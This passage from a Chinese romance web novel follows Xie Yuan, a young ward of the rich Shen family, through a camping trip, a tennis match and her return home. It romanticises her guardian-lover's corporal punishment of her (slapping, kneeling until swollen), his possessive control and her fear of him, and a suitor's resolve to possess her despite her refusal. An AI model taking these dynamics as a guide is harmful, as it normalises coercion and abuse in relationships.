他的声音淡漠矜贵,透着的从容更是令人心旌摇曳,可没人将他往沈家那位贵不可言的家主身上去想。
不是因为其他,而是因为那男人的口吻,全然是对爱人说话的语气。
初始是抒发少许无奈,可之后全是对孩子般的疼宠和溺爱。
非得是放在心尖尖上疼的人,才会这样言语。
通完电话回来的温怀瑾,刚刚进门就听见了那道柔和又充斥娇惯之意的话语。
大概只有谢沅听不出来说话的人到底有多疼她。
她脸庞红着,带着羞意说道:“您不用这样,我没关系的,算了,我待会儿跟您再说。”
谢沅怕沈长凛再说出什么来,紧忙挂了电话。
她的脸上尽是绯色,眼尾也是红的:“不好意思,我有点事情,先不玩了。”
谢沅的神情依然是慌乱的,可她的眼底却不再懵然,内里蕴着的是一种很昭然的安全感。
电话另一头的那个男人,仅仅是几句简单的话,就抚平了她所有的不安和无措。
深谙风月的人,会明白这意味着什么。
但谢沅什么都不懂,也好在谢沅什么都不懂。
温怀瑾从侍者手里拿过一杯清水,指节抵在杯口,慢慢地喝着-
沈宴白今天的事情尤为的多,他在公司已经待了段时间,又是正经的商科金融学出身,许多事情处理起来还是力不从心。
也是接手家业越久,他越明白沈长凛的厉害。
沈长凛做什么都透着漫不经心,行程表排满时也依旧从容淡然。
沈宴白从没见过沈长凛会什么事烦扰,他总是能平静地将旁人眼里焦头烂额的事,给轻松地处理干净。
前段时间,海外的周副总出问题。
他是沈家的老人,身后的关系盘根错节,又早已在海外站稳脚跟。
所有人都将周副总当忠臣良将,沈老先生离世时更有人言说,他是顾命大臣,但就是这么个身居高位、手握大权的人,偏偏出了问题。
沈宴白闻讯时气得肺病都要再犯,差些吐出血来。
但在这个节骨眼上,就是立刻处置他也难。
例行的董事会会议上,沈长凛神情淡漠,他没说要怎样,可从海外紧急飞来的周副总,脸上丝毫视频里的嚣张得意都没有。
他卑微谦恭,额前尽是冷汗,几乎是要软下膝来。
沈长凛端坐高位,笑容冷淡:“我可不敢让周总倒茶。”
他俊美的面容是那么平静,也是那么让人生畏。
周副总弓着腰身,执着茶盏,就那样僵直在了原处,沈长凛是笑着的,可没有一个人敢为周副总多说只言片语。
会议室里静得落针可闻。
沈宴白当时以为沈长凛会将周副总给彻底解决掉,他偏生没有再多说一个字,直接就将此事揭了过去。
但谁也不会天真地认为,这是宽宥的意思。
沈宴白也是这时才明白,这些年沈长凛能将秦家和沈家这两座庞然大物,轻易地拨弄于掌心,到底靠的是什么。
会议结束的时候,连他都出了一身冷汗。
今天的事情又是格外繁多,沈宴白在路上时睡了片刻,睡醒才发觉,他又梦见那天例行会议上的事了。
他最近诸事不顺,实在是有点烦了。
沈宴白走进门,复又想到谢沅那天水眸含泪的模样,她声音好听,哀求人时更好听。
细弱柔软,像是稚嫩的莺雀。
沈宴白在情场上无往不利,就这么一回主动想要得到一个人,对方竟是如此不识好歹。
他想了片刻,又觉得不该这样揣测谢沅。
毕竟是寄养在家里的女孩子,沈长凛再疼她,也改变不了谢沅是寄人篱下的事实。
她做人处事向来小心,谨慎得不像这个年岁的孩子,对他抗拒也是有缘由的。
沈宴白没怎么追过人,前不久他才跟霍阳聊情感上的事,没想到一转眼他也要步霍阳的后尘。
或许真是命里的劫。
往先风流久了,这会儿也要撞上情债。
可是谢沅这个人呢,沈宴白又是一定要弄到手里的。
就算是情债,他也要先尝了再说。
那张含泪的脸庞和白皙的腿根,都快要成为他的执念了,近日来不知到访他的青梦几回。
沈宴白的眸色晦暗,他走进客厅,才发觉沈长凛也还没睡,他站在岛台边,正在跟人通电话,声音里带着少许散漫:“可以原谅你,但是要赔偿我。”
沈长凛低笑一声:“怎样补偿?你说呢,坏孩子。”
第49章
谢沅站在檐下,一楼的露台有着长檐,专供人来赏雨,颇有几分古典的意味。
方才还磅礴的暴雨渐渐缓和,落在池中时会发出清脆的声响。
雨中的山林青翠欲滴,被远处的大灯照得透彻,那是接天的雨幕也难以遮掩的亮色。
谢沅执着手机,却无心去欣赏美景。
她的脸庞越来越红,连耳根都透着绯色:“我不会食言的,叔叔。”
谢沅的嗓音也带着羞意,细细柔柔,软得像是能掐出水来。
沈长凛没再多逗弄她。
“已经不早了,玩够了就快去睡吧。”他温声说道,“你今天睡得迟,明天要是再早起会头痛的。”
谢沅没看时间,只知道早已过了凌晨,也不知到底是几点。
她很乖地应道:“好,叔叔,我马上就去睡觉。”
“您也赶快休息吧。”谢沅细声说道,“晚安,叔叔。”
沈长凛轻轻“嗯”了一声,柔声哄她:“晚安,沅沅。”
电话挂断后,谢沅的脸庞还是热热的,她坐在露台边的小沙发上,捧着脸庞看了好久的雨。
还以为叔叔要生气。
没想到他那样温柔,还准允她明天再多玩段时间,除了……除了要她补偿。
谢沅翻看手机,试着去搜索类似的关键词,刚看了几个网页,脸上好不容易降下来的温度又升了上去。
她脸庞通红,在看到某张图时,倏地将屏幕按灭。
先去睡觉,先去睡觉。
谢沅用手扇着风,往她今晚要住的那间客房里走,将脸庞埋进柔软的大床里后许久,她耳根的热意才慢慢地降下去。
她没开灯,将屏幕亮度也调到最低。
购物软件上什么都有,连这种裙子居然也有。
谢沅强忍着羞耻,将那家店里其他正常款式的裙子也买了好几件,防止旁人提前帮她签收。
然后就直接将屏幕关闭,抱着浴袍去沐浴。
玩得太累,她睡了很舒服的一晚上。
因为是专门用于度假的,温家的这座别墅在装潢上很务实,不讲究外在的奢侈和华美,一切都向着舒适来。
谢沅伸着懒腰起床,大雨已经停了。
天朗气清,惠风和畅。
她换好衣服,然后去楼下的餐厅。
昨晚众人都睡得迟,谢沅平时作息很规律,偶尔睡得晚也不会起得太迟,尤其是昨天没太累着,一整日都只是玩。
她去用餐时,许多人都还在睡。
熟悉的人中谢沅只看见了温怀瑾,他拿着托盘,顺手给她也拿了一个。
早餐是自助的,很适合谢沅这种挑食的孩子。
她礼貌地说道:“谢谢你,怀瑾表哥。”
两人在临窗的位子一起用的早餐,温怀瑾聊起昨天的事,笑得不行:“不是都差不多了吗,最后怎么能输得那么惨?”
他一提起,谢沅的脸又要红。
她脸皮很薄,粉腮热起来时像是晕染开了桃花,羞赧中也透着柔美。
谢沅执着银色的餐叉,声音细弱地说道:“算错了一张牌,然后就全都输掉了。”
她之前没怎么玩过牌。
霍阳和沈宴白都很善于玩牌,在圈子里也很有名。
昨晚刚开始玩时,温怀瑾全然没想到谢沅是第一次接触。
但她悟性真的很强,他简单教她了少许技法,她就很快上手。
许是数学家父亲的基因真的强,谢沅算牌算得很快,她所表现出来的敏锐,跟她自己言说的不善数学完全就不一样。
这个女孩子像个被层层包裹的礼物。
初见时只觉得沉闷乏味,言辞也不流畅,可越接触,越能感知到其下的鲜活灵魂。
温怀瑾听谢沅言说,忍不住地笑道:“是我的错,下回我绝不中途离场了。”
“要是咱们两个一起算,”他笑容温和,“肯定不成问题的。”
两人一边聊天,一边用完早餐,时间也如流水般逝去。
转眼就到了上午十点。
众人也都陆陆续续地睡醒,见谢沅和温怀瑾在一起,脸上的神色都带着兴味盎然的笑意。
谢沅认真倾听温怀瑾的话语,倒是没有留意。
昨天露营到一半,突然下了暴雨,今日的天气也未必会好,而且昨天的雨将地面都浸透了,这种时候也不适合再扎营,倒不如干脆在别墅附近玩。
而且今天还有客人要来。
谢沅撑着下颌,惊讶地抬起眼眸:“是要来见思瑜表姐的吗?”
“对呀,一个宁城的哥哥,不知道你认识吗?姓明。”温怀瑾轻声说道,“之前几年在国外,也是才刚回国不久呢。”
谢沅在宁城生活过六年。
但她其实对宁城一点也不了解,她的生活范围特别小,就只有宁大附小、宁大和宁大家属院这么多,宁城话也只会一句“册那”,就是口味上很爱宁城的餐食。
谢沅摇了摇头,说不认识。
温思瑜在楼上跟人通电话讲事情,暂时抽不开身。
温怀瑾带着谢沅过去见人,他低声说道:“你别怕,他人还挺好打交道的,网球打得特别厉害。”
谢沅懵懵懂懂地想到,霍阳网球打得也特别厉害。
她听人说过,要不是霍老先生当初不同意,霍阳的天赋是足以去做专业运动员的。
谢沅跟着温怀瑾走下阶梯,目光穿过高高扬起的喷泉,就和满脸笑意的霍阳对上了视线。
他没再将头发染回银灰色,只是简单挑染了几缕。
但那气质瞬时又回到了从前。
上次的事后,两人有段时间没见,谢沅抿了抿唇,一时之间有些愣怔。
沈宴白说霍阳最近为情所困,谢沅打死也不敢告诉他,困住霍阳的那个情是她。
她在这方面向来很迟钝。
如果不是那天霍阳直接求婚,谢沅是无论如何也想不出,哥哥的朋友在暗里想了她那么久的。
霍阳哥平时看起来那么潇洒。
他们间的这桩事,现在除了霍家人和沈长凛还没人知道。
温怀瑾轻拍了拍谢沅的肩膀,让她回过神来,笑着说道:“你霍阳哥也来了,不打个招呼吗?”-
明家的那位太子爷要来燕城了,接到父亲电话时,霍阳人还没清醒过来。
凌晨四点,让他过去接待。
如果不是打电话的人是父亲霍先生,霍阳都要忍不住骂娘了,他揉了揉头发坐起身,连声说道:“好,好,我现在就过去,您别担心了。”
明家跟霍家不是一系的。
要论明家跟哪家最近,其实该是秦家,明家多年来都唯秦家是瞻,沈夫人还在世时,关系就很近。
但明家太子爷再贵重,也不可能叫秦家来接待。
这亲近也是暗里的亲近。
霍阳在圈子里吃得很开,他什么都会玩,人也很善交际,三教九流,都能畅言。
初始时他父亲觉得他不学无术,还骂过他交际花,后来发觉他这潜质后,那真是将物尽其用发挥到了极致。
霍阳带着满肚子怨气去接机。
路上知悉明家这一位此番过来,是要见温家大小姐,他的神情方才慢慢变了。
昨天温思瑜带谢沅去天行山那边露营了。
小庭看到有人在社交平台发图片,立刻就跟霍阳通风报信。
照片里的谢沅站在溪边,一身白裙,瞧着清纯柔美,像是从文艺电影里走出来的。
霍阳嚼着糖,忽然就没了怨气。
他好像还得感谢明家这位太子爷,给他机会正大光明地来见谢沅。
上回沈长凛的话说得又狠又直接,霍阳潇洒恣意惯了的人,也不敢私底下偷偷见谢沅,这还是事情过去后,第一次见到她真人。
谢沅看见他后,是全然愣住了。
连一旁的明家太子爷都没留意到。
谢沅抬起手,跟霍阳打招呼:“上午好,霍阳哥。”
“思瑜还有点事,暂时抽不开身,”温怀瑾笑着说道,“这是沅沅,明席哥还没见过吧?”
两个人站得很近,明显是一起过来的。
因为是出来玩,谢沅头上戴着遮阳帽,身上也换了白色的运动装,上衣是短袖,短裤也没有过膝,看起来很青春,比平时也要有活力许多。
温怀瑾站在她身边,服饰也是类似的运动装。
不知是有意,还是无意,两人的服装乍一看去跟情侣装似的。
霍阳的眼底瞬时就冷了下来。
但他脸上还挂着笑,唇角微扯着:“明席哥早就想见沅沅了,一直没机会。”
那被唤作明席的大少爷笑容客气,礼貌地握手:“沅沅,你好,我是明席哥哥,不知道叔叔跟你提起过我没有?”
权贵圈子错综复杂。
谢沅连燕城的这些都搞不清,更不要说别处的了。
她的脸庞微红,沈长凛肯定是跟她提到过的,但她也确实一丁点印象都没了。
“明席哥哥,您好。”谢沅强作镇定,“叔叔跟我讲过您的。”
明席跟霍阳很像,气质里也有很相近的地方,只不过明席一看就是南方人,行事时带着点斯文,其实和沈宴白更为相像。
几人都很熟悉网球,随意地聊着温网、法网的赛事。
谢沅之前有专门学过,但还是不太懂。
她只能听得懂轶事,明席笑说道:“之前宁城那一位网球打得也好,就是差些冲撞到大人物。”
因是要招待客人,谢沅也拿起了好久没碰的网球拍。
霍阳不着痕迹地占了温怀瑾方才的位子,一边教谢沅握拍,一边扯唇笑道:“好久之前的事吧。”
明席弯起眼,含笑说道:“对呀,好多年了。”
谢沅第一次见他,却感觉他跟寻常太子党不一样。
明席的气质好像格外年轻,虽然他的确年岁不大就是了,在聊天时他绝不是虚与委蛇,是很认真地在讲趣事。
聊了片刻后,四人就开始打了。
谢沅太弱,被分派到霍阳这一边,温怀瑾瞧着不显山不露水,竟也很擅长打网球。
圈子里无论男女老少,好像都挺喜欢打网球的。
谢沅的运动技能却是完全没点,之前学冲浪她就已经足够吃力,没打半个小时就要累坏。
霍阳一边以一敌二,一边还不忘笑她:“你这体能下降得有点过啊,沅沅妹妹。”
谢沅原本都想要休息了,听到他的话后,心底微弱的胜负欲又燃了少许。
她的声音微哑:“我可以的,霍阳哥。”
四个人打了将近两个小时,中途也交换过几次阵营,谢沅感觉她快累得不行了,休息片刻后竟然又有力气。
肌肉记忆渐渐复苏后,她也没有那么吃力。
谢沅好久没打过这么酣畅淋漓的比赛,结束时胳膊都发起酸来。
霍阳把她手里的冰水拿走,换了一瓶常温的给她,对上谢沅略带委屈的视线时,他得意地笑了:“你身体不好,少喝点冷的。”
谢沅没有办法,只能接过他开好的常温矿泉水。
明席还在很认真地复盘:“你球技其实还挺好的,就是有点生疏,是不是好久没打了?”
“没有,明席哥。”谢沅喝水差点呛到,“我就是之前学过一段。”
他们三个谁的球技都能吊打她,刚刚她能打得那么高兴,他们肯定有在放水。
但明席却摇了摇头。
“我说真的,你的球技真挺不错的。”他正经地说道,“不过运动类的项目都一样,就是玩得再好,太长时间不碰也不行。”
谢沅第一次在一个大少爷身上,看到这么赤忱的热爱。
她喝着水,也不好意思推拒,硬着头皮说道:“谢谢你,明席哥,我会继续努力的。”
几人一起回去,温思瑜也终于忙完。
她换了身酒红色的长裙,唇色艳红,眼线也勾得很长。
温思瑜见到谢沅便唤道:“过来,沅沅。”
温怀瑾却不着痕迹地将谢沅拉了过来,含着笑说道:“沅沅刚打完球呢,我们先去换衣服了。”
谢沅还有些不明所以,没和霍阳告别,就被他拉走了。
绕过长廊后,温怀瑾才轻声说道:“思瑜要准备订婚了,对象就是明席。”
谢沅愣怔在了原处,温思瑜和秦承月不久前才刚刚分开,一转眼竟然要订婚了……
她抿了抿唇,下意识地问道:“承月哥知道吗?”
温怀瑾的手撑在窗边,眼里也含着笑意:“你猜一猜,猜对了哥哥就告诉你。”-
谢沅回到客房后,好好地沐浴了一番,她换了裙子,再出来时已经又是香香的孩子了。
明席这次就是来见温思瑜的。
用餐时,两人也是在一起的。
温思瑜明艳张扬,做事随心所欲,谢沅以为她多少会有些不喜欢明席,但温思瑜脸上丝毫异色也没有。
跟很多人身上早早就婚约不一样,姑姑沈蓉对温思瑜很好,她也很看重温思瑜的幸福。
沈蓉希望女儿能和相爱的人相守一生。
温思瑜也的确很幸运地遇到了相爱的人。
只不过这个人并不能和她相守,甚至并不能和她成为爱侣,能够有过一段,对于他们来说,就已经是极致。
谢沅在圈子里其实已经很久了,又和秦承月有过婚约。
但她一直不太明白,这到底意味着什么。
豪门间的联姻好像都是这个样子的,两个不熟悉的人,因为共同的利益走在一起。
几乎所有人都是如此,好像也没什么不能接受的。
可是温思瑜的脸上也没什么喜色。
谢沅的指节微蜷,她突然忍不住地想到,如果现在沈长凛要将她嫁给别人,她还能够接受吗?
想到这个问题的刹那,她觉察到了一种溺水感。
沈长凛之前说过,不会将她嫁给旁人。
谢沅现在才二十岁,当然可以将她继续养在家里,可是以后呢?等她三十岁,四十岁时,难道还能继续待在沈家吗?
当那双手将她从深渊中拉出时,就早已注定要将她送去别人的怀抱。
沈长凛现在很疼她,不会舍得把她推开,但这不意味着叔叔能够庇护她一生。
一段始于利益交换的关系,怎么可能是不求回报的呢?
她现在还给他的这些,实在是太杯水车薪了。
谢沅向后倚靠,长睫轻轻地颤动,胸腔里莫名地泛起阵阵地悸痛,那个夜晚从李特助手里接过杯盏,将水送进去时,她的思绪还是很清晰的。
高处不胜寒。
沈长凛身边孤单,连个分忧的人也没有,她做侄女的,本就应该多去陪伴他的。
可是到了现在,溺水的感觉越来越深。
失控感再度袭上心头。
但眼下想这些是没有用处的,谢沅摇了摇头,不再多想。
原本他们要在这边待两天,明席千里迢迢过来,总不好叫他一起在山里吃苦。
宁城明家的太子爷,本来就金贵,昨夜又下了暴雨,万一有个三长两短可是大麻烦。
谢沅来的时候,坐的是温思瑜的车。
回去时她要跟明席一起,谢沅要坐其他人的车。
霍阳让她过去,温怀瑾也喊人让她过去。
谢沅有些犹豫,正纠结时温家的一位表姐过来,还以为她落单,直接把她带上了车。
霍阳拨弄了拨弄短发,靠在车边,低笑一声:“还得是近水楼台先得月。”
“霍少还是多读些书吧,”温怀瑾笑容温和,“该是先下手为强才对。”
谢沅对此一无所知。
她坐上车后,沈长凛的电话就打过来了,她再没有功夫胡思乱想,紧忙戴上蓝牙耳机,接起他的电话。
“叔叔,我们已经上车了,”谢沅声音细柔,“我跟温家表姐一辆车,还有两个小时就到家了。”
沈长凛眉眼温和,轻声说道:“有一个惊喜,回来看吧。”
谢沅很好奇,他却不多说,将她的胃口给掉足了,挂断电话时她还是恋恋不舍的。
表姐转过头,笑着问道:“沅沅是不是有男友了?”
昨天她们一起玩的牌,那通【我想你了】的电话没人敢多言,毕竟温家主母沈蓉还盼着温怀瑾拿下谢沅。
可在场的谁没听见小姑娘说话时声音有多甜。
真人不露像。
也不知何方神圣,竟将被沈家家主娇藏多年的花给折下来了。
谢沅的脸庞泛红,摇着头说道:“没有,姐姐。”
她的指节微蜷,长睫也害羞地低垂,纵然她再怎样遮掩否认,明眼人也决计不会看不出来。
罢了,烦心的只有温怀瑾,跟旁人也没太大关系。
两个多小时过去得很快,傍晚六点谢沅就到家了,她抱着一个小礼盒,里面是明席给大家的见面礼,还没看是什么,抬眸便和沈长凛对上了视线。
他挑了挑眉,轻声说道:“女仆装吗?”
这么轻佻的几个字,被沈长凛用那么矜贵的语调说出时,有一种极其吊诡的感觉。
他其实并不避讳这种话,谢沅也每每会被逼到羞得欲死。
但现在就这么讲,实在有些太过了。
她抱着小礼盒,脸庞一下子就红了,带着点小脾气地说道:“不是,叔叔。”
谢沅的脸庞像桃花般灼灼,语气也娇娇的,没有惧意,还蕴着些含羞的恼怒。
沈长凛昨天通电话时言辞很温和,看起来也很好说话,其实在那时他都已经想好要怎么罚谢沅,让她彻底长个记性了。
她不知道怎么想的,竟然觉得李特助的话能代表他的意思了。
但见到谢沅这幅模样,沈长凛还有什么不能原谅的呢?
他轻轻地将她抱了起来,一边吻上她的樱唇,一边扶着楼梯将人抱回到楼上。
谢沅吻技很差,每次从接吻先开始,她都很难承受得住,还没被抱到床上,脸庞就要全红了,眼尾也落下泪来:“不行、不行了,叔叔,先不亲了。”
她的声音微哑,那么细柔,那么低弱。
沈长凛掌心扣住谢沅的腿根,声音低柔:“那沅沅该对我说什么?”
第50章
谢沅的手腕很细,交扣在一起,也纤瘦得不经一握。
很衬那句“垆边人似月,皓腕凝霜雪”的词。
谢沅的樱唇已经被咬红了,微微肿起,别有一种丰润瑰丽的美感,白净的小脸也透着绯意,眼尾更是湿漉漉地红着,颗颗晶莹的泪珠不住地往下掉。
沈长凛声音很轻:“不哭了,沅沅。”
他动作温柔,拭去谢沅脸上的泪水,又俯身吻了吻她的额头,巴掌才又接着落下来。
可她的眼泪刚被擦净,新的泪珠便痛的再次落了下来。
小孩子跟水做的一样,哭个没完。
谢沅的身躯颤动着,微弱地挣扎,像是案板上的游鱼,带着哭腔说道:“我真的知道错了,叔叔。”
沈长凛低眼,轻声说道:“沅沅只是应邀和朋友出去玩,能有什么错?”
他本没想罚谢沅的,小孩子虽然私自出走,但也乖乖地跟他通电话说想念他,还仔细报备了具体的事宜。
总体而言,不全是违逆规矩。
前提是沈长凛不知道昨晚那通电话是她输了牌,方才打过来的。
连霍阳和沈宴白都不敢带她玩,她自己倒是敢碰了。
谢沅玩冲浪那等危险的项目,沈长凛也不会多管,她性子沉静内敛,应该多玩些东西的,之前霍阳带她去玩滑翔伞,沈长凛也觉得可以。
但是扑克这种东西就不必了。
尤其是还有惩罚加码。
方才沈长凛原本是要抱谢沅下楼用晚餐的,她在外面胃口不是很好,中午又热,没吃什么,柔软的小腹也扁扁的,已经饿坏了。
她环住他的脖颈,有些娇气地说她要吃什么。
沈长凛揽着谢沅的腰身,温声说好,然后又问她昨天露营吃得如何。
她其实很容易被套话,被惩罚时或许能一直忍着,但他一将语调放柔,她就会叭叭地将话全讲出来了。
“昨天吃了烤鱼,还吃了一点烤肉,”谢沅坐在沈长凛怀里,柔声说道,“晚上玩牌还吃了红丝绒小蛋糕。”
“玩什么牌?”他状似不经意地问道,“你不是不会玩吗?”
谢沅是做好被沈长凛罚的准备回来的。
结果他什么也没说,一晚上过去,她被哄得飘飘然。
“是那种很简单的牌,”谢沅有一点小骄傲,“怀瑾哥教了我一段,我就会玩了,不过我最后一局输得好惨,还受罚要跟人打电话……”
她之前是真的没玩过,算牌的技术也是现学的。
但或许父亲数学家的基因在血脉里苏醒,谢沅一轮轮玩下来,竟然有些得心应手。
她看起来乖乖的,其实是有点高兴得意的,早想告诉旁人了。
谢沅数学不好,读书时一直因为这件事难过,没想到她的天赋点在了别处。
话音落下后,她才意识到她说漏嘴了什么。
谢沅心中警铃大作,立刻就闭上了嘴,想要转移话题,但沈长凛已经扣住她的腰身,将她抱回到了床上。
他快要被气笑了,玩牌就算了,原来昨天跟他通电话,也是因为输了牌。
就知道谢沅的胆量,没有勇气在被罚后,主动跟他通电话。
谢沅不久前才挨过罚,她的柔膝屈着,没多时就跪得有些肿起,嗓音也带着哑意:“我不该私自离开,也不该不跟叔叔发消息的,还……还不该玩牌。”
她哭得眼眸都发红,声音也楚楚可怜。
走的时候干脆利落,讨饶的时候就一点也不硬气了。
不过好歹还知道错在何处。
谢沅却是快要受不了,她最近被沈长凛很娇惯,已经要受不住罚。
而且实在是太疼了。
谢沅快将唇瓣咬破,她想要回眸看向沈长凛,但还未侧过身,下一巴掌就落下来了,她疼得泪水落个不停,丝毫挣扎的气力都抬不上来。
更不要说去亲吻沈长凛,来讨好他了。
男人的语调还是温柔的,说出来的话却很残忍:“最后十下,忍着,不许再哭了。”
谢沅浑身僵直,哭也不敢哭,动也不敢动,硬生生地捱了下来。
结束后沈长凛将谢沅抱起,亲手帮她洗了洗小脸,然后用毯子裹着将她抱下楼。
“不用上药吗,叔叔?”她将脸埋在毯子里,耳根都是烫的。
细弱的声音,低得跟蚊吟一样。
谢沅感知不到轻重,每次就是哭得厉害,沈长凛揉了揉她的头发,慢声说道:“再过十分钟就好了,不用上药。”
她点点头,却还是害羞,连头都不肯冒出来。
沈长凛把谢沅抱下楼,让她坐在腿上,喂她用的晚餐,她不好意思,细声推拒道:“要是……要是有人回来怎么办,叔叔?”
她有时迟钝,有时又很聪明。
知道他不爱听沈宴白的名字,很会转圜地用了“某人”。
沈长凛低笑一声,边喂谢沅吃蔬菜,边声音轻柔地说道:“哥哥最近很忙,晚上都回来得迟,不必担心。”
她这才放松下来,靠在他的肩头,慢慢地用晚餐。
谢沅中午没吃多少,又在楼上待了很久,这会儿将近十点,她已经快饿得眼冒金星了,连蔬菜也全都乖乖吃了下去。
直到有人给沈长凛拨电话过来,她才自己执着餐叉用饭。
谢沅单手支着头,坐在高脚椅上,她发了片刻的呆,忽然发觉桌案上的花瓶里盛着一束新花,暗香凛冽,如霜如雪,素雅高贵。
就是修剪得不是太好看,摆放也不是很专业。
不像是园艺师准备的。
那会是谁放的呢?
谢沅坐直身子,抬眸看向那束白色的玫瑰花,心跳莫名地有些快-
沈长凛以前不觉得晚上处理事情有什么,有紧急情况时,他通宵议事开会都没关系,现在就是越来越厌烦。
事情结束时,已经要十一点了。
谢沅这两天玩得累,或许都要昏昏地睡着了。
沈长凛没想到的是,他下楼的时候,谢沅竟还在吃冰激凌。
她用餐很慢,身边要是没人,一顿简单的早餐也能吃一两个小时,用餐的习惯很不好,但这么多年过去,也改不掉。
沈长凛索性不管,他反正还能喂谢沅用餐。
小孩子支着头坐在高脚椅上,眼眸望着玫瑰花,用金色的小勺子舀冰激凌球吃。
阿姨冰激凌做的很好吃,而且很好看,每一颗冰激凌球都是不同的颜色。
谢沅也不知道吃了多久,高脚杯里还有三个颜色的冰激凌球是完整的。
沈长凛不敢多想这是谢沅为了等他。
她这就是单纯的慢。
他走下楼梯,轻舒了口气,再度将她抱到怀里:“怎么还没用完?”
谢沅的长睫眨了眨,声音细柔:“在等叔叔呀。”
她刚说完,没等沈长凛言语,就指着花瓶里的白色玫瑰花,很小声地问道:“这是叔叔插的花吗?很好看。”
谢沅难得这样直白地表露心绪,沈长凛的神情却是略微凝滞。
他顿了顿,轻轻地“嗯”了一声,容色少见地不太自然。
“好漂亮,”谢沅坐在沈长凛怀里,攀上他的脖颈,“叔叔好厉害,第一次就摆得这么好看。”
小孩子最近开朗了许多。
沈长凛搂着谢沅的腰身,唇边含笑:“沅沅喜欢就行。”
他的容色很温和,声音也轻柔若风。
谢沅的小腿轻轻晃着,头也微微歪着,柔声问道:“这个就是惊喜吗,叔叔?”
沈长凛摇头,轻声说道:“不是。”
他刚准备给谢沅看戒指的图纸,沈宴白便回来了。
听到门开的声音,她立刻就想从沈长凛的腿上下去,男人的指节却攥住了她的腰身,柔情生起得很快,消退得也很快。
他的眸色晦暗,声音也有些冷淡:“让哥哥知道,沅沅。”
谢沅的额前霎时就沁了冷汗。
她最近只顾着应付沈宴白,全然忘了沈长凛的控制欲是多么强势。
上回在露台时,她哭着拒绝,沈长凛的暗怒许久才消,谢沅不太敢想,如果她再度拒绝沈长凛,下场会是什么。
这是一段晦暗的、见不得人的关系。
可沈长凛非要使之见光。
他很疼她宠爱她,但谢沅也能感觉到,在这件事上,沈长凛的耐心快要告罄了。
尤其是前不久她竟还敢跟沈宴白单独出去。
谢沅坐在沈长凛的怀里,身躯因为未知的恐惧在不断颤抖,她抿了抿唇,抬眸看向沈长凛阴翳的眼,最终是没有敢说出拒绝的话。
男人的指节拢在她的腰间,轻轻地收紧。
他眼里的柔情消退,哪怕说的是安抚的话语,声音依然有些冷:“哥哥不会怎样的。”
谢沅的长睫抖动,她紧抿着唇,靠在沈长凛的怀里。
几乎是等待着黑暗砸下来。
但门推开后,率先出现的一张面孔却是沈宴白的助理,他搀扶着沈宴白,安抚地说道:“沈总您先别晕,已经下车了……”
酒气浓郁。
沈宴白喝醉了。
谢沅靠在沈长凛的怀里,已经紧绷到快要断裂的心弦,忽然就放松了下来。
她抬起水眸,看向沈长凛,怯声唤道:“叔叔……”
谢沅的眼底全是恐惧,她怕得狠,就是不知怕被旁人知道,还是怕被沈宴白知道。
想到后者,恶欲便无法控制地翻涌。
但目光再度对上谢沅的水眸时,沈长凛到底是没再多言,他拍了拍她的脸庞,声音有些冷:“你好好想一想,到底什么时候能接受。”
他低声说道:“想好了,我们在家里公开。”
说完,沈长凛就起身去看沈宴白,沈宴白胃病很严重,应酬却是免不得要饮酒。
他做叔叔的,眼见侄子艰难回来,不可能再继续揽着温香软玉冷眼旁观。
沈宴白在路上吐过一回,好歹没有吐血。
沈长凛拨电话,让家庭医生过来,然后又寻保镖来将沈宴白先扶上楼。
沈宴白昏昏沉沉的,晕眩得厉害,上楼梯时差点磕碰着,沈长凛跟在他的身边,眉心拧着,低声向他的助理说道:“他不能喝酒,你们也不知道劝着些吗?”
沈长凛矜贵淡漠,涵养很好,几乎从不迁怒。
但见沈宴白这幅模样,做叔叔的,总归是没法全无脾气。
助理战战兢兢,紧张得满头汗:“沈总,我们劝过小沈总了,但是……但是……”
沈长凛很少插手沈宴白身边的人事,今次也要动怒,他声音冷淡下来:“他是什么性子,你们过去的时候不就知道了吗?”
“你们的职责是看顾好他,”他低声说道,“不是由着他乱来。”
沈长凛眉眼冰冷,声音也发寒:“做不到的话,就去申请调任。”
他对谢沅更疼更宠,可将人放到她身边的时候,也没人敢由着谢沅乱来,这回李特助也是被她哄了过去,以为她之前已经和沈长凛说过,才点头同意的。
沈宴白胃病那么厉害,比起事业上出成绩,健康从来都是首位。
沈家又不是危急存亡,大厦将倾,哪里须要他一个刚毕业的年轻人那么拼?
助理吓得更厉害了,连声应道:“是,沈总,是,沈总。”
都说小沈总气势强,可这在沈家家主面前是全然不够看的,在沈长凛的面前待过,方才知道何为真正的上位者气场。
沈长凛看着沈宴白服的药。
家庭医生来得很快,先进行了一轮的催吐,然后才开始地诊治。
沈宴白玩牌时胜负欲就强,他是争强好胜惯了的人,最看不惯的就是懒散怯弱、依仗外力的人。
他在国外读书,成绩也很优异。
沈长凛知道侄子很拼,但没想到他在工作上会这么拼,早知道还是在他那边放些人,帮忙看着少许了。
他久违地生出些身为叔叔的照怀之情,在沈宴白身边待了很久。
沈宴白的生活看似风光,实则一直都很孤寂。
家里人离开得都很早,就剩一门亲戚,关系又不好,沈蓉有意想跟沈宴白缓和关系,他也不同意,跟温思瑜这个表妹,关系更是差到极致。
所以沈长凛一直不管沈宴白的私事。
他那么孤单,风流些也没什么,至少有人作陪,不是吗?
沈长凛坐在沙发上,指节交扣,蓦地生出一个心念,不如让沈宴白结婚算了。
身边有个靠得住、知冷暖的人照顾,沈宴白或许就不会那样乱来,纵是乱来生了病,好歹也有人时刻陪护着,不用孤单地服药治病。
反正他说什么,沈宴白都是听的。
沈长凛撑着下颌,忽然觉得这个主意还算不错。
沈宴白为人虽然风流,在姑娘中却向来受欢迎,哪怕是在权贵圈子里,也少有大小姐能够拒绝他。
沈长凛一边想,一边开始思索合适的人选。
在思考这个问题时,他轻轻地忽略了自己的私心-
谢沅晚上没有睡好,反复的混乱梦境,像是深水里的海草,拖着她的脚踝,将她往黑暗里拽去。
她睡得早,翌日醒得却很迟。
天光已经大亮,谢沅才勉强地撑着手臂坐起身。
沈长凛清早来过一趟,在她床边的矮几上留了一份字条,字迹遒劲,龙飞凤舞中透着筋骨,只是话语冷冷淡淡的。
【哥哥生病在家休养,勿扰。】
谢沅看到后,眼睫轻轻地垂落下来。
她捏着那张字条,指节微微发白,樱唇也抿着,很久才将之折叠起来。
谢沅心情低落,她望向落地窗外的青绿,发了片刻的呆,然后才下楼用早餐。
她心不在焉,早餐也用了好久。
临到十点时,日光尽数洒落,谢沅才恍惚地发觉,外面的花池里全部都是白色的玫瑰花,清雅高贵的花朵,一丛丛地盛开。
暗香凛冽,如霜如雪。
